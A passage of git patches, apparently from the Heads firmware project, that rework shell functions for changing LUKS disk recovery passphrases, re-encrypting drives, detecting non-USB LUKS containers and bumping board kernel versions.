--title 'Changing LUKS Disk Recovery Key passphrase' --msgbox \ "Please enter the current LUKS Disk Recovery Key passphrase (slot 0).\nThen choose a strong passphrase of your own.\n\n**DICEWARE passphrase methodology is STRONGLY ADVISED.**\n\nHit Enter to continue" 0 80 - if [ -z "$luks_new_Disk_Recovery_Key_passphrase" ]; then - echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" - while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do - read -r luks_new_Disk_Recovery_Key_passphrase - done - fi - - if [ -z "$luks_current_Disk_Recovery_Key_passphrase" ]; then - echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" - read -r luks_current_Disk_Recovery_Key_passphrase - fi + echo -e "\nEnter your desired replacement for the actual LUKS Disk Recovery Key passphrase (At least 8 characters long):" + while [[ ${#luks_new_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + read -r luks_new_Disk_Recovery_Key_passphrase + done + + echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" + read -r luks_current_Disk_Recovery_Key_passphrase fi echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/luks_current_Disk_Recovery_Key_passphrase @@ -551,7 +538,7 @@ luks_change_passphrase() { rm -f /boot/kexec_key_devices.txt mount -o remount,ro /boot luks_secrets_cleanup - unset LUKS + unset LUKS continue fi @@ -563,16 +550,13 @@ luks_change_passphrase() { fi echo "Success changing passphrase for $luks_container." - changed_containers=$((changed_containers + 1)) done - if [ $changed_containers -eq $num_containers ]; then - # All containers processed successfully - luks_current_Disk_Recovery_Key_passphrase=$luks_new_Disk_Recovery_Key_passphrase - export luks_current_Disk_Recovery_Key_passphrase - export luks_new_Disk_Recovery_Key_passphrase - export LUKS - fi + # Export the new passphrase if all containers were processed successfully + luks_current_Disk_Recovery_Key_passphrase=$luks_new_Disk_Recovery_Key_passphrase + export luks_current_Disk_Recovery_Key_passphrase + export luks_new_Disk_Recovery_Key_passphrase + export LUKS } luks_secrets_cleanup() From 0a817887320b93dc65f82af570928c45f08c8e23 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 12:29:59 -0400 Subject: [PATCH 301/619] luks-functions: move secret placement from /tmp to /tmp/secret to be wiped when going to recovery shell and upon automatic cleanup as all other secret Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 0011e0f4f..dd1cd432b 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -323,9 +323,9 @@ test_luks_current_disk_recovery_key_passphrase() # if no external provisioning provides current LUKS Disk Recovery Key passphrase echo -e "\nEnter the current LUKS Disk Recovery Key passphrase (Configured at OS installation or by OEM):" read -r luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase else - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi # test all LUKS containers on same block device as returned by select_luks_container @@ -334,7 +334,7 @@ test_luks_current_disk_recovery_key_passphrase() # Loop on all LUKS containers on same block device for luks_container in $LUKS; do DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase + DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase # Validate past cryptsetup reencrypt attempts if [ $? -ne 0 ]; then # if we have more than one LUKS container and passphrase test unsuccessful, tell user how to change passphrase @@ -407,14 +407,14 @@ luks_reencrypt() { --msgbox "$msg" 0 80 echo -e "\nEnter the current LUKS Disk Recovery Key passphrase:" read -r luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase else - echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. @@ -435,7 +435,7 @@ luks_reencrypt() { DRK_KEYSLOT=-1 DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." for i in $(seq 0 31); do - if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + if DO_WITH_DEBUG cryptsetup open --test-passphrase $luks_container --key-slot $i --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then DRK_KEYSLOT=$i DEBUG "$luks_container: Found key-slot $DRK_KEYSLOT that can be unlocked with the current passphrase. breaking loop" break @@ -474,7 +474,7 @@ luks_reencrypt() { #--perf-no_read_workqueue --perf-no_write_workqueue \ #--resilience=none --force-offline-reencrypt --disable-locks \ #"$luks_container" --key-slot "$DRK_KEYSLOT" \ - #--key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then + #--key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then if ! DO_WITH_DEBUG echo "fake cryptsetup reencrypt call"; then whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 @@ -525,11 +525,11 @@ luks_change_passphrase() read -r luks_current_Disk_Recovery_Key_passphrase fi - echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/luks_current_Disk_Recovery_Key_passphrase - echo -n "$luks_new_Disk_Recovery_Key_passphrase" > /tmp/luks_new_Disk_Recovery_Key_passphrase + echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase + echo -n "$luks_new_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_new_Disk_Recovery_Key_passphrase DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then + if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC @@ -543,7 +543,7 @@ luks_change_passphrase() fi echo -e "\nChanging $luks_container LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." - if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/luks_current_Disk_Recovery_Key_passphrase /tmp/luks_new_Disk_Recovery_Key_passphrase; then + if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/secret/luks_current_Disk_Recovery_Key_passphrase /tmp/secret/luks_new_Disk_Recovery_Key_passphrase; then whiptail --title 'Failed to change LUKS passphrase' --msgbox \ "Failed to change the passphrase for $luks_container.\nPlease try again." 0 80 continue @@ -564,8 +564,8 @@ luks_secrets_cleanup() TRACE_FUNC #Cleanup - shred -n 10 -z -u /tmp/luks_new_Disk_Recovery_Key_passphrase 2>/dev/null || true - shred -n 10 -z -u /tmp/luks_current_Disk_Recovery_Key_passphrase 2>/dev/null || true + shred -n 10 -z -u /tmp/secret/luks_new_Disk_Recovery_Key_passphrase 2>/dev/null || true + shred -n 10 -z -u /tmp/secret/luks_current_Disk_Recovery_Key_passphrase 2>/dev/null || true #Unset variables (when in same boot) unset luks_current_Disk_Recovery_Key_passphrase From d2fe615a5e23aa203f0d937cdd297ce7186d01f9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 12:36:56 -0400 Subject: [PATCH 302/619] luks-functions: wording fixes Signed-off-by: Thierry Laurion Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index dd1cd432b..0510071d9 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -344,7 +344,7 @@ test_luks_current_disk_recovery_key_passphrase() #whiptail_error --title 'error' --msgbox 'error' 0 80 #Neither work today. Not related to this PR... Using whiptail without coloring. - msg=$(echo -e "All $PRINTABLE_LUKS must unlock with the same Disk Recovery Key passphrase for the current operation to succeed.\n\nTo change individual LUKS container passphrase, do so from 'Options-> Change LUKS Disk Recovery Key passphrase'\n\nThen retry this operation." | fold -w 70 -s) + msg=$(echo -e "All $PRINTABLE_LUKS LUKS containers must be unlockable by a shared Disk Recovery Key (DRK) passphrase for the current operation to succeed.\n\nTo change individual LUKS container DRK passphrase, do so from 'Options-> Change LUKS Disk Recovery Key passphrase'\n\nThen retry this operation." | fold -w 70 -s) whiptail --title "$luks_container"': Wrong current LUKS Disk Recovery Key passphrase?' \ --msgbox "$msg" 0 80 From 7d3e4fdc0315ca756bc0e2f556f3cb995e61341a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 17 Aug 2024 13:06:11 -0400 Subject: [PATCH 303/619] Revert+adapt "WiP: fake cryptsetup reencrypt call for testing local one last time: seems like luks passphrase change only happens on one of the containers; not all" This reverts commit 20e9392b97c9ed42b85ae930a163131997640a44. To test this PR without reencryption, just 'git revert' this commit Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 0510071d9..6f95a1c23 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -470,12 +470,11 @@ luks_reencrypt() { # --force-offline-reencrypt forces the reencryption to be done offline (no read/write operations on the device) # --disable-locks disables the lock feature of cryptsetup, which is enabled by default - #if ! DO_WITH_DEBUG cryptsetup reencrypt \ - #--perf-no_read_workqueue --perf-no_write_workqueue \ - #--resilience=none --force-offline-reencrypt --disable-locks \ - #"$luks_container" --key-slot "$DRK_KEYSLOT" \ - #--key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then - if ! DO_WITH_DEBUG echo "fake cryptsetup reencrypt call"; then + if ! DO_WITH_DEBUG cryptsetup reencrypt \ + --perf-no_read_workqueue --perf-no_write_workqueue \ + --resilience=none --force-offline-reencrypt --disable-locks \ + "$luks_container" --key-slot "$DRK_KEYSLOT" \ + --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 From 8b51a1f7a81077eb78b9c4e457e07b58bfafb0d4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 14:45:20 -0400 Subject: [PATCH 304/619] optiplex boards: bumper kernel from 5.10.5 to 5.10.214. No config file changes Signed-off-by: Thierry Laurion --- .../optiplex-7010_9010-hotp-maximized.config | 2 +- .../optiplex-7010_9010-maximized.config | 2 +- .../optiplex-7010_9010_TXT-hotp-maximized.config | 2 +- .../optiplex-7010_9010_TXT-maximized.config | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index 19f83c076..d837daa26 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 7b5e6e71f..0b286522b 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index 194475e04..a5597efdb 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index 2e62094e2..1880e0e09 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 -export CONFIG_LINUX_VERSION=5.10.5 +export CONFIG_LINUX_VERSION=5.10.214 CONFIG_COREBOOT_CONFIG=config/coreboot-optiplex-7019_9010_TXT-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config From 67372063ab90c9631fa89df4799f0df6dbe909c3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 15:29:26 -0400 Subject: [PATCH 305/619] GUI scripts: add whiptail_error and whiptail_warning since https://github.com/linuxboot/heads/pull/1787 fixed the issue Signed-off-by: Thierry Laurion --- initrd/etc/gui_functions | 3 --- initrd/etc/luks-functions | 20 +++++++------------- initrd/init | 2 -- 3 files changed, 7 insertions(+), 18 deletions(-) diff --git a/initrd/etc/gui_functions b/initrd/etc/gui_functions index e4b7ed4d5..38958b1ab 100755 --- a/initrd/etc/gui_functions +++ b/initrd/etc/gui_functions @@ -37,7 +37,6 @@ mount_usb() # -- Display related functions -- # Produce a whiptail prompt with 'warning' background, works for fbwhiptail and newt whiptail_warning() { - #TODO: Cannot be called as is under luks_functions with string expension in title: why? if [ -x /bin/fbwhiptail ]; then whiptail $BG_COLOR_WARNING "$@" else @@ -47,7 +46,6 @@ whiptail_warning() { # Produce a whiptail prompt with 'error' background, works for fbwhiptail and newt whiptail_error() { - #TODO: Cannot be called as is under luks_functions with string expension in title: why? if [ -x /bin/fbwhiptail ]; then whiptail $BG_COLOR_ERROR "$@" else @@ -57,7 +55,6 @@ whiptail_error() { # Produce a whiptail prompt of the given type - 'error', 'warning', or 'normal' whiptail_type() { - TRACE_FUNC local TYPE="$1" shift case "$TYPE" in diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 6f95a1c23..94789a950 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -339,13 +339,8 @@ test_luks_current_disk_recovery_key_passphrase() if [ $? -ne 0 ]; then # if we have more than one LUKS container and passphrase test unsuccessful, tell user how to change passphrase if [ $(echo $LUKS | wc -w) -gt 1 ]; then - #TODO remove this once whiptail_error whiptail_warning can take titles with double quotes - #whiptail_warning --title 'tes' --msgbox 'test' 0 80 - #whiptail_error --title 'error' --msgbox 'error' 0 80 - #Neither work today. Not related to this PR... Using whiptail without coloring. - msg=$(echo -e "All $PRINTABLE_LUKS LUKS containers must be unlockable by a shared Disk Recovery Key (DRK) passphrase for the current operation to succeed.\n\nTo change individual LUKS container DRK passphrase, do so from 'Options-> Change LUKS Disk Recovery Key passphrase'\n\nThen retry this operation." | fold -w 70 -s) - whiptail --title "$luks_container"': Wrong current LUKS Disk Recovery Key passphrase?' \ + whiptail_error --title "$luks_container"': Wrong current LUKS Disk Recovery Key passphrase?' \ --msgbox "$msg" 0 80 TRACE_FUNC @@ -354,7 +349,7 @@ test_luks_current_disk_recovery_key_passphrase() # We exited to caller, LUKS still set. TODO: problem? Should we call all cleaning functions on die? fi - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC @@ -411,11 +406,10 @@ luks_reencrypt() { else echo -n "$luks_current_Disk_Recovery_Key_passphrase" > /tmp/secret/luks_current_Disk_Recovery_Key_passphrase fi - DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. # Maybe the container was not the right one @@ -444,7 +438,7 @@ luks_reencrypt() { # Validate if a key slot was found if [ $DRK_KEYSLOT -eq -1 ]; then - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 # Remove "known good" selected LUKS container so that next pass asks again user to select LUKS container. # Maybe the container was not the right one @@ -475,7 +469,7 @@ luks_reencrypt() { --resilience=none --force-offline-reencrypt --disable-locks \ "$luks_container" --key-slot "$DRK_KEYSLOT" \ --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC @@ -529,7 +523,7 @@ luks_change_passphrase() DEBUG "$luks_container: Test unlocking of LUKS encrypted drive content with current LUKS Disk Recovery Key passphrase..." if ! DO_WITH_DEBUG cryptsetup open --test-passphrase "$luks_container" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase > /dev/null 2>&1; then - whiptail --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ + whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 TRACE_FUNC detect_boot_device @@ -543,7 +537,7 @@ luks_change_passphrase() echo -e "\nChanging $luks_container LUKS encrypted disk passphrase to the new LUKS Disk Recovery Key passphrase..." if ! DO_WITH_DEBUG cryptsetup luksChangeKey "$luks_container" --key-file=/tmp/secret/luks_current_Disk_Recovery_Key_passphrase /tmp/secret/luks_new_Disk_Recovery_Key_passphrase; then - whiptail --title 'Failed to change LUKS passphrase' --msgbox \ + whiptail_error --title 'Failed to change LUKS passphrase' --msgbox \ "Failed to change the passphrase for $luks_container.\nPlease try again." 0 80 continue fi diff --git a/initrd/init b/initrd/init index 847f9e2a9..55a894a79 100755 --- a/initrd/init +++ b/initrd/init @@ -103,12 +103,10 @@ fi #Specify whiptail background colors cues under FBWhiptail only if [ -x /bin/fbwhiptail ]; then - DEBUG "fbwhiptail BG_COLOR_* exported" export BG_COLOR_WARNING="${CONFIG_WARNING_BG_COLOR:-"--background-gradient 0 0 0 150 125 0"}" export BG_COLOR_ERROR="${CONFIG_ERROR_BG_COLOR:-"--background-gradient 0 0 0 150 0 0"}" export BG_COLOR_MAIN_MENU="normal" else - DEBUG "whiptail TEXT_BG_COLOR_* exported" export TEXT_BG_COLOR_WARNING="${CONFIG_WARNING_TEXT_BG_COLOR:-"yellow"}" export TEXT_BG_COLOR_ERROR="${CONFIG_ERROR_TEXT_BG_COLOR:-"red"}" export BG_COLOR_MAIN_MENU="normal" From 91b88dadabb9e741d5dc09b81076378fd88140e9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 17:02:18 -0400 Subject: [PATCH 306/619] initrd/etc/luks-functions: fix path to wrong luks key for reencrypt call Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index 94789a950..de5f41c5a 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -468,7 +468,7 @@ luks_reencrypt() { --perf-no_read_workqueue --perf-no_write_workqueue \ --resilience=none --force-offline-reencrypt --disable-locks \ "$luks_container" --key-slot "$DRK_KEYSLOT" \ - --key-file /tmp/luks_current_Disk_Recovery_Key_passphrase; then + --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then whiptail_error --title "$luks_container: Wrong current LUKS Disk Recovery Key passphrase?" --msgbox \ "If you previously changed it and do not remember it, you will have to\n reinstall the OS from a an external drive.\n\nTo do so, place the ISO file and its signature file on root of an\n external drive, and select Options-> Boot from USB \n\nHit Enter to retry." 0 80 From 0f25b064e02ddd81429a9e2071252f52d938f210 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 17:42:47 -0400 Subject: [PATCH 307/619] luks-functions: detect non-usb LUKS partitions that can be unlocked with prompted DRK then ask user to confirm that those are all ok to reencryt/change passphrase onto (oem factory reset/manual, whatever) - cache/reuse that passphrase, used afterward to find which LUKS keyslot contains the DRK, which is used to direct reencryption, also reused for passphrase change. - refactoring detection + testing of prompted LUKS passphrase for discovered LUKS containers that can be unlocked with same passphrase to prompt user for selection TODO: remove duplicate luks passphrase unlocking volumes functions for the moment Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 428 ++++++++++++++++++++------------------ 1 file changed, 226 insertions(+), 202 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index de5f41c5a..a69023302 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -1,20 +1,110 @@ #!/bin/bash -# LUKS related functions +# This script contains various functions related to LUKS (Linux Unified Key Setup) encryption management. . /etc/functions . /etc/gui_functions . /tmp/config -#List all LUKS devices on the system -list_luks_devices() { +# List all LUKS devices on the system that are not USB +list_local_luks_devices() { TRACE_FUNC - #generate a list of devices to choose from that contain a LUKS header lvm vgscan || true - blkid | cut -d ':' -f 1 | while read device; do - if cryptsetup isLuks $device; then echo $device; fi + blkid | cut -d ':' -f 1 | while read -r device; do + DEBUG "Checking device: $device" + if cryptsetup isLuks "$device"; then + DEBUG "Device $device is a LUKS device" + dev_name=$(basename "$device") + parent_dev_name=$(echo "$dev_name" | sed 's/[0-9]*$//') + if [ -e "/sys/block/$parent_dev_name" ]; then + DEBUG "Device $device exists in /sys/block" + if ! stat -c %N "/sys/block/$parent_dev_name" 2>/dev/null | grep -q "usb"; then + DEBUG "Device $device is not a USB device" + echo "$device" + else + DEBUG "Device $device is a USB device, skipping" + fi + else + DEBUG "Device $device does not exist in /sys/block, skipping" + fi + else + DEBUG "Device $device is not a LUKS device" + fi done | sort } +# Prompt for LUKS Disk Recovery Key passphrase +prompt_luks_passphrase() { + TRACE_FUNC + while [[ ${#luks_current_Disk_Recovery_Key_passphrase} -lt 8 ]]; do + echo -e "\nEnter the LUKS Disk Recovery Key passphrase (At least 8 characters long):" + read -r luks_current_Disk_Recovery_Key_passphrase + if [[ ${#luks_current_Disk_Recovery_Key_passphrase} -lt 8 ]]; then + echo -e "\nPassphrase must be at least 8 characters long. Please try again." + unset luks_current_Disk_Recovery_Key_passphrase + continue + fi + done + echo -n "$luks_current_Disk_Recovery_Key_passphrase" >/tmp/secret/luks_current_Disk_Recovery_Key_passphrase +} + +# Test LUKS passphrase against all found LUKS containers that are not USB +test_luks_passphrase() { + TRACE_FUNC + + list_local_luks_devices >/tmp/luks_devices.txt + if [ ! -s /tmp/luks_devices.txt ]; then + warn "No LUKS devices found" + return 1 + fi + + valid_luks_devices=() + while read -r luks_device; do + DEBUG "Testing passphrase on $luks_device" + if cryptsetup open --test-passphrase "$luks_device" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then + DEBUG "Passphrase valid for $luks_device" + valid_luks_devices+=("$luks_device") + else + DEBUG "Passphrase test failed on $luks_device" + fi + done /tmp/luks_container_size_percent + echo "10" >/tmp/luks_container_size_percent elif [ "$option_index" = "2" ]; then - echo "25" > /tmp/luks_container_size_percent + echo "25" >/tmp/luks_container_size_percent elif [ "$option_index" = "3" ]; then - echo "50" > /tmp/luks_container_size_percent + echo "50" >/tmp/luks_container_size_percent elif [ "$option_index" = "4" ]; then - echo "75" > /tmp/luks_container_size_percent + echo "75" >/tmp/luks_container_size_percent else die "Error selecting LUKS container size percentage of device" fi @@ -55,20 +145,19 @@ select_luks_container_size_percent() { # Partition a device interactively with two partitions: a LUKS container # containing private ext4 partition and second public exFAT partition # Size provisioning is done by percentage of the device -interactive_prepare_thumb_drive() -{ +interactive_prepare_thumb_drive() { TRACE_FUNC #Refactoring: only one parameter needed to be prompted for: the passphrase for LUKS container if not coming from oem-provisioning #If no passphrase was provided, ask user to select passphrase for LUKS container # if no device provided as parameter, we will ask user to select device to partition # if no percentage provided as parameter, we will default to 10% of device to use for LUKS container # we will validate parameters and not make them positional and print a usage function first - + #Set defaults - DEVICE="" #Will list all usb storage devices if not provided as parameter + DEVICE="" #Will list all usb storage devices if not provided as parameter PERCENTAGE="10" #default to 10% of device to use for LUKS container (requires a LUKS partition bigger then 32mb!) - PASSPHRASE="" #Will prompt user for passphrase if not provided as parameter - + PASSPHRASE="" #Will prompt user for passphrase if not provided as parameter + #Parse parameters while [ $# -gt 0 ]; do case "$1" in @@ -101,29 +190,30 @@ interactive_prepare_thumb_drive() #If no passphrase was provided, ask 